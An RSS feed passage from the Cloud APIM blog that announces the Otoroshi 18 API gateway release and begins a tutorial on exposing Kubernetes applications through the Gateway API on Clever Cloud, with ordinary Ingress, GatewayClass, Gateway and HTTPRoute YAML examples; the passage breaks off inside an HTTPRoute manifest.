<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Cloud APIM Blog</title><description>News, releases and deep dives from Cloud APIM, the team behind the Otoroshi API gateway: API management, AI gateways, web application firewalls and open source.</description><link>https://blog.cloud-apim.com</link><language>en</language><atom:link href="https://blog.cloud-apim.com/rss.xml" rel="self" type="application/rss+xml"/><image><url>https://blog.cloud-apim.com/icon-512.png</url><title>Cloud APIM Blog</title><link>https://blog.cloud-apim.com/</link></image><lastBuildDate>Tue, 10 Nov 2026 17:32:28 GMT</lastBuildDate><ttl>60</ttl><item><title>Otoroshi 18 is here: new foundations, same gateway</title><link>https://blog.cloud-apim.com/otoroshi-18-is-here</link><guid isPermaLink="true">https://blog.cloud-apim.com/otoroshi-18-is-here</guid><description>The biggest overhaul of Otoroshi in years, designed to be the most boring upgrade you will do this year.</description><pubDate>Tue, 10 Nov 2026 07:00:00 GMT</pubDate><content:encoded>&lt;p&gt;On October 23, we released Otoroshi 18.0.0, followed three days later by 18.0.1. It is the most significant release in years, and probably the best prepared: the entire technical foundation was replaced, Service Descriptors are finally gone, and the gateway went through two full security audits.&lt;/p&gt;
&lt;p&gt;Yet for the vast majority of installations, the upgrade should be perfectly boring. Your routes, plugins, API keys, certificates and exporters stay as they are. Your traffic does not notice a thing.&lt;/p&gt;
&lt;p&gt;This post opens a series of seven about Otoroshi 18 and what we built around it. We start with the big picture.&lt;/p&gt;
&lt;h2 id=&quot;why-the-foundations-had-to-change&quot;&gt;Why the foundations had to change&lt;/h2&gt;
&lt;p&gt;Otoroshi ran on Scala 2.12, Play 2.8 and Akka 2.6. Each of these building blocks had a problem:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Scala 2.12&lt;/strong&gt; dates from 2016. Fewer and fewer libraries still publish for it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Akka&lt;/strong&gt; was relicensed under the BSL in September 2023. The Apache Software Foundation took over the last Apache 2.0 release under the name &lt;strong&gt;Apache Pekko&lt;/strong&gt;, and the ecosystem followed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Play 2.8&lt;/strong&gt; is no longer maintained, and &lt;strong&gt;Play 3&lt;/strong&gt;, the Pekko-based line, came out in late 2023.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Taken one at a time, each of these is manageable. Together, they were pulling Otoroshi away from the rest of the JVM ecosystem, a little more every month. The issue asking for the move to Play 3 was opened in November 2023.&lt;/p&gt;
&lt;p&gt;The port started in June, and in early July we froze features to focus on it entirely. The rule was strict: change the foundations, and nothing else.&lt;/p&gt;
&lt;h2 id=&quot;what-changed-under-the-hood&quot;&gt;What changed under the hood&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Before&lt;/th&gt;
&lt;th&gt;After&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Scala 2.12&lt;/td&gt;
&lt;td&gt;Scala 3.8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Play 2.8&lt;/td&gt;
&lt;td&gt;Play 3.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Akka 2.6&lt;/td&gt;
&lt;td&gt;Apache Pekko 1.6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Java 11 minimum&lt;/td&gt;
&lt;td&gt;Java 17 minimum&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Admin UI built with webpack, jQuery&lt;/td&gt;
&lt;td&gt;Vite, no more jQuery&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched, vendored third-party libraries&lt;/td&gt;
&lt;td&gt;Back on the official releases&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Pekko is a direct fork of the Akka we were already running: same actor model, same streams, same HTTP stack. The package names change, the behavior stays the same.&lt;/p&gt;
&lt;h2 id=&quot;what-goes-away-service-descriptors&quot;&gt;What goes away: Service Descriptors&lt;/h2&gt;
&lt;p&gt;Service Descriptors had been deprecated since February 2022, when the new proxy engine landed. Version 17 shipped the migration tooling. Version 18 removes the entity, its admin API, its UI pages and its Kubernetes CRD. Routes are now the only way to configure HTTP proxying: one entity, one mental model, one code path.&lt;/p&gt;
&lt;p&gt;Nobody has to migrate anything by hand. On first startup, a job backs up every descriptor to a file, then converts it to a Route, keeping the same id. A descriptor is only deleted once its Route has been written and read back. Anything that fails is left in place, logged, and retried at the next startup. API keys that pointed to an old service keep working.&lt;/p&gt;
&lt;h2 id=&quot;what-comes-on-top&quot;&gt;What comes on top&lt;/h2&gt;
&lt;p&gt;Once the port was validated, we lifted the freeze. The following previews brought new features that make a real difference for teams that publish APIs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Every API consumer becomes an API key&lt;/strong&gt;, whatever the plan (no authentication, JWT, mTLS, OAuth2). Quotas, rate limiting and analytics apply to every caller.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Plugin chains per consumer&lt;/strong&gt;: a plan or an API key can bring its own plugins, on top of the route’s or in place of them.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Conditional plugins&lt;/strong&gt;: any plugin can run only when conditions are met on the key, the user, the route, the request or the response.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trusted proxies&lt;/strong&gt;: the client address is read from the trusted end of the &lt;code&gt;X-Forwarded-For&lt;/code&gt; chain. A client can no longer pick its own IP to get around a rate limit.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A faster hot path&lt;/strong&gt;, and a JVM sized automatically from the container limits.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We will cover all of this in detail in the next posts, starting with performance.&lt;/p&gt;
&lt;h2 id=&quot;check-then-check-again&quot;&gt;Check, then check again&lt;/h2&gt;
&lt;p&gt;A port of this size is only as good as the checks behind it. We spent at least as much time verifying as writing.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;The project in numbers&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Duration, from the first commit of the port to the release&lt;/td&gt;
&lt;td&gt;just over 4 months&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Commits&lt;/td&gt;
&lt;td&gt;about 1,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Issues closed&lt;/td&gt;
&lt;td&gt;234&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Test versions published&lt;/td&gt;
&lt;td&gt;9 previews, 4 release candidates&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lines of tests added&lt;/td&gt;
&lt;td&gt;more than 70,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Full security audits&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The test suite now covers clustering, mTLS, WebAuthn, SAML validation and the rights of the admin API. It writes and reads back the JSON of every entity and every plugin configuration. That test alone turned up dozens of settings that lost their value on save. None of them would have shown up in a demo, and all of them are fixed.&lt;/p&gt;
&lt;p&gt;The OpenAPI document of the admin API was rewritten, and a conformance suite now checks it against a running Otoroshi. Every disagreement was a bug on one side or the other, and it was fixed where it belonged.&lt;/p&gt;
&lt;h2 id=&quot;who-is-behind-it&quot;&gt;Who is behind it&lt;/h2&gt;
&lt;p&gt;Otoroshi has been open source since day one, in 2017, under the Apache 2.0 license. Cloud APIM was founded in 2021 by its creator, and today most of its development is done by us: of the roughly 1,000 commits in version 18, more than 800 come from the Cloud APIM team. Thanks also to everyone who contributed code, tested the previews and reported bugs.&lt;/p&gt;
&lt;p&gt;On release day, we also published three extensions compatible with Otoroshi 18: the LLM extension and its AI Studio, the Threat Protection suite and its Threat Studio, and the brand-new Clever Cloud Reaper. Each one gets its own post in this series.&lt;/p&gt;
&lt;h2 id=&quot;what-now&quot;&gt;What now?&lt;/h2&gt;
&lt;p&gt;For most installations, the answer fits in one sentence: upgrade to 18. A few points are still worth a look first:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Java 17 minimum.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;akka.*&lt;/code&gt; settings become &lt;code&gt;pekko.*&lt;/code&gt; (the &lt;code&gt;OTOROSHI_AKKA_*&lt;/code&gt; environment variables keep working).&lt;/li&gt;
&lt;li&gt;In-house Scala plugins must be recompiled for Scala 3. WASM plugins are not affected.&lt;/li&gt;
&lt;li&gt;On Kubernetes, apply the new CRDs.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The 17.x line remains available for those who need more time. And if you would rather not think about it at all, our &lt;a href=&quot;https://www.cloud-apim.com/otoroshi-managed&quot;&gt;Otoroshi Managed&lt;/a&gt; clusters are upgraded by the team that writes the code.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Further reading&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.otoroshi.io/blog/otoroshi-18-new-foundations&quot;&gt;The full technical post on the Otoroshi blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/MAIF/otoroshi/releases/tag/v18.0.0&quot;&gt;The 18.0.0 release notes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.otoroshi.io/docs/topics/deprecating-sd&quot;&gt;The Service Descriptors migration guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.otoroshi.io/docs/topics/production-checklist&quot;&gt;The production checklist&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Next post: what we measured, and what we gained in performance.&lt;/p&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:language>en</dc:language><category>Otoroshi</category><category>API gateway</category><category>Release</category><category>Scala 3</category><category>Pekko</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.BHw54pK__nG2Ax.jpg" length="0" type="image/jpeg"/></item><item><title>Exposing Kubernetes Applications with Otoroshi and the Gateway API on Clever Cloud</title><link>https://blog.cloud-apim.com/exposing-kubernetes-applications-with-otoroshi-and-the-gateway-api-on-clever-cloud</link><guid isPermaLink="true">https://blog.cloud-apim.com/exposing-kubernetes-applications-with-otoroshi-and-the-gateway-api-on-clever-cloud</guid><description>There&apos;s a certain feeling you get when you&apos;ve just finished setting up a new piece of infrastructure and it actually works. The kind of satisfaction that makes you reach for your coffee, lean back…</description><pubDate>Tue, 21 Apr 2026 06:00:00 GMT</pubDate><content:encoded>&lt;p&gt;There’s a certain feeling you get when you’ve just finished setting up a new piece of infrastructure and it actually works. The kind of satisfaction that makes you reach for your coffee, lean back in your chair, and just… breathe. That’s exactly how I felt when, after a couple hours of tinkering on a rainy afternoon, I watched a &lt;code&gt;curl&lt;/code&gt; command return a clean HTTP 200 from an application running deep inside a Kubernetes cluster — routed through Otoroshi’s Gateway API integration, running on Clever Cloud’s managed Kubernetes engine.&lt;/p&gt;
&lt;p&gt;I want to take you through that journey in this article. We’ll go from the fundamental problem of exposing Kubernetes workloads to the outside world, through the history of Ingress controllers, all the way to the new Kubernetes Gateway API standard — and we’ll deploy the whole stack, step by step, on &lt;a href=&quot;https://www.clever.cloud/developers/doc/kubernetes&quot;&gt;Clever Kubernetes Engine&lt;/a&gt; (CKE), Clever Cloud’s managed Kubernetes offering.&lt;/p&gt;
&lt;p&gt;Grab a coffee. This is a long one.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;the-problem-your-app-is-trapped-inside-the-cluster&quot;&gt;The Problem: Your App is Trapped Inside the Cluster&lt;/h2&gt;
&lt;p&gt;When you deploy an application to Kubernetes, you’re placing it inside a highly capable but fundamentally isolated environment. Kubernetes pods live in their own private network space. Services like &lt;code&gt;ClusterIP&lt;/code&gt; make those pods reachable &lt;em&gt;within&lt;/em&gt; the cluster, but by design, they’re not accessible from the outside world.&lt;/p&gt;
&lt;p&gt;That’s actually a feature, not a bug. Kubernetes gives you a private, controllable network fabric. But the moment your application needs to serve real users — or talk to external systems — you need to punch a controlled hole through that isolation.&lt;/p&gt;
&lt;p&gt;Over the years, the Kubernetes community has developed several approaches to this problem, each with its own trade-offs.&lt;/p&gt;
&lt;h3 id=&quot;the-early-days-nodeport-and-loadbalancer&quot;&gt;The Early Days: NodePort and LoadBalancer&lt;/h3&gt;
&lt;p&gt;The simplest option is a &lt;code&gt;NodePort&lt;/code&gt; service. It binds a port on every node of your cluster and forwards traffic to your pods. It works, but it’s clunky: you’re dealing with high port numbers (30000+), you’re exposing every node’s IP directly, and you have zero traffic management capabilities. NodePort is great for quick local testing, but it’s not something you’d run in production.&lt;/p&gt;
&lt;p&gt;The next step up is a &lt;code&gt;LoadBalancer&lt;/code&gt; service. Cloud providers — including Clever Cloud — can provision an external load balancer and wire it up to your pods automatically. This is a real improvement: you get a stable external IP and clean port numbers. But if you have dozens of services to expose, you end up with dozens of load balancers, each costing money, each needing DNS configuration. It doesn’t scale well.&lt;/p&gt;
&lt;p&gt;What you really need is a single entry point — a reverse proxy — that can intelligently route traffic to the right service based on the hostname, path, headers, or other request attributes. And that’s exactly what the Ingress resource was created for.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;a-brief-history-of-ingress&quot;&gt;A Brief History of Ingress&lt;/h2&gt;
&lt;p&gt;Kubernetes introduced the &lt;code&gt;Ingress&lt;/code&gt; resource around 2015 as a standardized way to define HTTP routing rules. The idea was elegant: you write a YAML manifest that says “requests to &lt;code&gt;api.example.com/v1&lt;/code&gt; should go to service &lt;code&gt;my-api&lt;/code&gt; on port 8080”, and a controller picks that up and configures the actual reverse proxy.&lt;/p&gt;
&lt;p&gt;A typical Ingress resource looks like this:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;networking.k8s.io/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Ingress&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-app&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;default&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  rules&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;host&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;api.example.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    http&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      paths&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      - &lt;/span&gt;&lt;span&gt;path&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        pathType&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Prefix&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        backend&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          service&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-api&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            port&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;              number&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;8080&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;the-ingress-controller-ecosystem&quot;&gt;The Ingress Controller Ecosystem&lt;/h3&gt;
&lt;p&gt;The Ingress spec itself doesn’t do anything on its own — you also need an &lt;em&gt;Ingress controller&lt;/em&gt;, a piece of software that watches for Ingress resources and translates them into actual proxy configurations. Nginx was the most popular choice. Others followed: Traefik, HAProxy Ingress, Contour, and more.&lt;/p&gt;
&lt;p&gt;The problem is that the Ingress spec was intentionally kept minimal. Basic host and path-based routing was all you got from the standard. Everything else — TLS termination modes, rate limiting, authentication, retries, canary deployments — had to be configured through &lt;em&gt;annotations&lt;/em&gt;. And since annotations are just arbitrary strings attached to resources, every controller had its own vocabulary. A rate limit annotation for Nginx looks completely different from one for Traefik. Moving from one controller to another meant rewriting all your Ingress resources.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# nginx-specific annotation&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;nginx.ingress.kubernetes.io/limit-rps&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;10&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# Same thing in Traefik&apos;s world&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;traefik.ingress.kubernetes.io/rate-limit&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  extractorfunc: client.ip&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  rateset:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    default:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      period: 1s&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      average: 10&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This annotation sprawl was a recognized pain point in the community. The Ingress API was showing its age.&lt;/p&gt;
&lt;h3 id=&quot;the-deprecation-story&quot;&gt;The Deprecation Story&lt;/h3&gt;
&lt;p&gt;The situation became clearer in 2023 when the Kubernetes maintainers announced the deprecation of the original &lt;code&gt;kubernetes/ingress-nginx&lt;/code&gt; controller — not the Nginx Ingress Controller project itself, but the Kubernetes community-maintained one. The project had accumulated significant technical debt and the community decided it was time to move on.&lt;/p&gt;
&lt;p&gt;More broadly, the Ingress API itself was being kept in maintenance mode. No new features were being added. The community had already been working on something better.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;the-future-is-here-kubernetes-gateway-api&quot;&gt;The Future is Here: Kubernetes Gateway API&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://gateway-api.sigs.k8s.io/&quot;&gt;Kubernetes Gateway API&lt;/a&gt; is the modern, standardized successor to Ingress. It reached General Availability (GA) in late 2023 and has been steadily gaining adoption since.&lt;/p&gt;
&lt;p&gt;The Gateway API was designed with several key goals in mind: to be expressive enough to cover advanced routing scenarios without annotations, to have clear separation of concerns between different user roles, and to be extensible in a controlled way.&lt;/p&gt;
&lt;h3 id=&quot;a-different-model&quot;&gt;A Different Model&lt;/h3&gt;
&lt;p&gt;Where Ingress has a single resource type, the Gateway API introduces a hierarchy of resources:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;GatewayClass&lt;/strong&gt; — Defines which controller implementation handles a particular class of gateways. Think of it like a &lt;code&gt;StorageClass&lt;/code&gt; for storage, but for traffic. It’s typically created by the infrastructure team or the platform operator.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;gateway.networking.k8s.io/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;GatewayClass&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-gateway-class&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  controllerName&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;vendor.io/my-controller&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Gateway&lt;/strong&gt; — A specific instance of a gateway, using a given class. It defines what protocols and ports to listen on, and what hostnames to handle. This is the resource created by the team that owns the cluster or the network infrastructure.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;gateway.networking.k8s.io/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Gateway&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-gateway&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;infra&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  gatewayClassName&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-gateway-class&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  listeners&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    protocol&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;HTTP&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    hostname&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;*.example.com&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    allowedRoutes&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      namespaces&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        from&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;All&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;HTTPRoute&lt;/strong&gt; — The actual routing rules, defined by application teams in their own namespaces. This is the part that app developers care about: “my app lives at &lt;code&gt;api.example.com/v2&lt;/code&gt;”.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;gateway.networking.k8s.io/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;HTTPRoute&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;api-route&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-app&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  parentRefs&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-gateway&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;infra&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    sectionName&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  hostnames&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;&quot;api.example.com&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  rules&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;matches&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    - &lt;/span&gt;&lt;span&gt;path&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        type&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;PathPrefix&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;/v2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    backendRefs&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-api-service&lt;/span&gt;&lt;/span&gt;
